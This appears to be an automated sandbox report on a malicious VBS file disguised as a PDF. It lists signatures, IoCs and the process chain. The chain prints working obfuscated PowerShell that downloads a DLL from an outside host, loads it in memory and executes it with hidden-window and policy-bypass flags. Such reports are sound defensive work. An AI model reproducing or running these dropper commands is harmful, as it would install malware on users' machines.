Analysis
- max time kernel
72s - max time network
76s - platform
windows7_x64 - resource
win7-20230703-en - resource tags
- submitted
10/07/2023, 09:37
General
- Target Ad8556545S2125565444l55645554S4456M50001_pdf.vbs
- Size 319KB
- Sample230710-lln4cshf49
- SHA256 7bb19c68aaf145e837e104b39f5c2b967d52191eb8e71846ac8e697d3c027873
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
http://cryptersandtools.minhacasa.tv/e/e
Signatures
- Blocklisted process makes network request 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Ad8556545S2125565444l55645554S4456M50001_pdf.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'WwBC⁂Hk⁂d⁂Bl⁂Fs⁂XQBd⁂C⁂⁂J⁂BE⁂Ew⁂T⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂K⁂BO⁂GU⁂dw⁂t⁂E8⁂YgBq⁂GU⁂YwB0⁂C⁂⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂p⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂JwBo⁂HQ⁂d⁂Bw⁂Do⁂Lw⁂v⁂GM⁂cgB5⁂H⁂⁂d⁂Bl⁂HI⁂cwBh⁂G4⁂Z⁂B0⁂G8⁂bwBs⁂HM⁂LgBt⁂Gk⁂bgBo⁂GE⁂YwBh⁂HM⁂YQ⁂u⁂HQ⁂dg⁂v⁂GU⁂LwBl⁂Cc⁂KQ⁂p⁂Ds⁂WwBT⁂Hk⁂cwB0⁂GU⁂bQ⁂u⁂EE⁂c⁂Bw⁂EQ⁂bwBt⁂GE⁂aQBu⁂F0⁂Og⁂6⁂EM⁂dQBy⁂HI⁂ZQBu⁂HQ⁂R⁂Bv⁂G0⁂YQBp⁂G4⁂LgBM⁂G8⁂YQBk⁂Cg⁂J⁂BE⁂Ew⁂T⁂⁂p⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂LgBH⁂GU⁂d⁂BN⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂o⁂Cc⁂VgBB⁂Ek⁂Jw⁂p⁂C4⁂SQBu⁂HY⁂bwBr⁂GU⁂K⁂⁂k⁂G4⁂dQBs⁂Gw⁂L⁂⁂g⁂Fs⁂bwBi⁂Go⁂ZQBj⁂HQ⁂WwBd⁂F0⁂I⁂⁂o⁂Cc⁂d⁂B4⁂HQ⁂LgBz⁂G8⁂Z⁂Bv⁂HQ⁂bwBp⁂HU⁂bgBq⁂C8⁂MQ⁂4⁂DY⁂Mg⁂3⁂DQ⁂Mw⁂y⁂Dg⁂Nw⁂2⁂D⁂⁂Mg⁂0⁂DI⁂O⁂⁂x⁂DE⁂MQ⁂v⁂DE⁂Mg⁂x⁂DM⁂Nw⁂3⁂D⁂⁂Ng⁂1⁂DQ⁂M⁂⁂w⁂DI⁂N⁂⁂y⁂Dg⁂MQ⁂x⁂DE⁂LwBz⁂HQ⁂bgBl⁂G0⁂a⁂Bj⁂GE⁂d⁂B0⁂GE⁂LwBt⁂G8⁂Yw⁂u⁂H⁂⁂c⁂Bh⁂GQ⁂cgBv⁂GM⁂cwBp⁂GQ⁂LgBu⁂GQ⁂Yw⁂v⁂C8⁂OgBz⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "[Byte[]] $DLL = [System.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('http://cryptersandtools.minhacasa.tv/e/e'));[System.AppDomain]::CurrentDomain.Load($DLL).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('txt.sodotoiunj/1862743287602428111/1213770654002428111/stnemhcatta/moc.ppadrocsid.ndc//:sptth'))"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
590aee7bdd69b59b.customDestinations-ms
7TVOTVHHJTOIIJEDX1QN.temp
memory/2092-58-0x000000001B310000-0x000000001B5F2000-memory.dmp
memory/2092-59-0x0000000001ED0000-0x0000000001ED8000-memory.dmp
memory/2092-61-0x0000000002480000-0x0000000002500000-memory.dmp
memory/2092-60-0x0000000002480000-0x0000000002500000-memory.dmp
memory/2092-62-0x0000000002480000-0x0000000002500000-memory.dmp
memory/3016-68-0x0000000002830000-0x00000000028B0000-memory.dmp
memory/3016-69-0x0000000002830000-0x00000000028B0000-memory.dmp
memory/3016-70-0x0000000002830000-0x00000000028B0000-memory.dmp
memory/3016-71-0x000000001CB80000-0x000000001CE50000-memory.dmp